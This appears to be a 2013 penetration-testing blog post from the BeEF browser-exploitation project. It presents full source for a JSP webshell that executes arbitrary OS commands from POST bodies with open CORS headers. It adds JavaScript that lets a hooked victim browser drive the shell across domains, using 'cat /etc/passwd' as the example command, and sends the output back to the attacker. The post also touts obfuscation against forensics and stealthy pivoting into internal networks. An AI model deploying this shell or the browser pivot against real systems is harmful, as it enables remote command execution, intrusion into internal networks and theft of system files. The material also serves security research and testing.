Tuesday, June 18, 2013

Cross-domain communication with a JSP shell from a browser hooked with BeEF

If you're a penetration tester, you have surely played with webshells before. There are plenty of webshell examples in multiple languages (e.g. Java (JSP), ASP, ASP.NET, PHP). Most of these webshells, including the Metasploit ones, give you either a bind or reverse shell running as the web or application server user (e.g. Tomcat, Apache, IIS).

This works fine when you want to use our BeEF Bind custom shellcode to exploit compiled software (kudos to our friend Ty Miller), but what can you do if you're able to upload a webshell to the target and you want bi-directional communication with that from the hooked browser?

If your target is a Java Application Server, for instance JBoss or GlassFish (see the exploits we ported to BeEF for both of them, inside the exploit directory), you can deploy the following JSP shell I wrote for that purpose.


In the BeEF project, we're obsessed with doing bad stuff entirely from the hooked browser, using it as a beachhead for launching attacks. One thing we usually exploit is the possibility to work directly in the internal network of the hooked browser. We effectively use the browser as a pivot point for further internal network pwnage. Unline with a normal pentest scenario, we can do this without even touching the file system or the memory of some processes.

If you're a frequent reader of our blog, you would probably remember Revitalizing the Inter-Protocol Exploitation with BeEF Bind, the post I wrote after RuxCon 2012. The whole idea of the technique described in that post was to bi-directionally interact with custom shellcode from the hooked browser. Such approach removes the need to open a reverse connection back to your attacker server, or to connect to the bind shell from a fully compromised machine (in the internal network). OS commands are sent by the hooked browser cross-domain using XMLHttpRequest and command results are appended in the HTTP response.

Let's take a look at code:

 <%@ page import="java.util.*,java.io.*"%>  
 <%  
 // needed for cross-domain communication  
 response.setHeader("Access-Control-Allow-Origin", "*");  
 try{  
 // needed for handling text/plain data  
 BufferedReader br = request.getReader();  
 String line = br.readLine();   
 if(line != null){  
  String[] cmds = line.split("cmd=");  
  if(cmds.length > 0){  
   String cmd = cmds[1];  
   //executes the command  
   Process p = Runtime.getRuntime().exec(cmd);  
   // reads the command output  
   OutputStream os = p.getOutputStream();  
   InputStream in = p.getInputStream();  
   DataInputStream dis = new DataInputStream(in);  
   String disr = dis.readLine();  
   while(disr != null){  
   out.println(disr);  
   disr = dis.readLine();  
   }  
  }   
 }}catch(Exception e){  
 out.println("Exception!!");  
 }  
 %>  

Obviously, to defeat forensics, you might want to improve it adding polymorphism and obfuscation, but this is currently out of scope :D

Now, in order to re-create the same behavior of the BeEF Bind shellcode, we need the following requirements in our webshell:
  • every HTTP response must contain Allow-Access-From-Origin: * to allow bi-directional cross-domain communication with the hooked browser;
  • the JSP page must accept a POST request (Content-type text/plain) with a cmd parameter, which holds the command that will be executed;
  • the output of the executed command must be returned in the HTTP response.
The JSP webshell satisfies all the previous requirements, as you can read from the code. I used request.getReader() because I wanted to parse a text/plain request rather than the default application/x-www-form-urlencoded Content-type.

You can interact with the webshell cross-domain from the hooked browser with the following code:
 var uri = "http://your_target";  
 var port = 8080;  
 var path = "BeEF_Bind.jsp";  
 var cmd = "cat /etc/passwd"       
 xhr = new XMLHttpRequest();       
 xhr.onreadystatechange = function() {  
   if (xhr.readyState == 4) {  
     console.log(xhr.responseText);  
   }  
 }  
 xhr.open("POST", uri + ":" + port + "/" + path, true);  
 xhr.setRequestHeader("Content-Type", "text/plain");  
 xhr.setRequestHeader('Accept','*/*');  
 xhr.setRequestHeader("Accept-Language", "en");  
 xhr.send("cmd=" + cmd);  

The JSP shell accepts POST requests that contains cmd=<command> in the body, for instance cmd=ls, returning the command results back in the HTTP response.

As you can see from the following screenshot, the hooked page is at http://xxxker.com/beef_bind_xhr.html while the POST request sent with the previous snippet of JavaScript is sent to http://xxxvictim.com:8080/BeEF_Bind.jsp, confirming the cross-domain interaction. Obviously you want to replace the console.log line with beef.net.send() in order to send back to BeEF the command output.

BeEF Screenshot

Obviously, you can achieve the same results porting this code to ASP, ASP.NET, PHP and every other language you want. In this way you can exclusively use the hooked browser for both exploiting the vulnerability that leads to the webshell deployment, and to fully interact with it being stealthier,  potentially controlling a system in the hooked browser internal network.

Have fun with it!
anisnatchor

1 comment: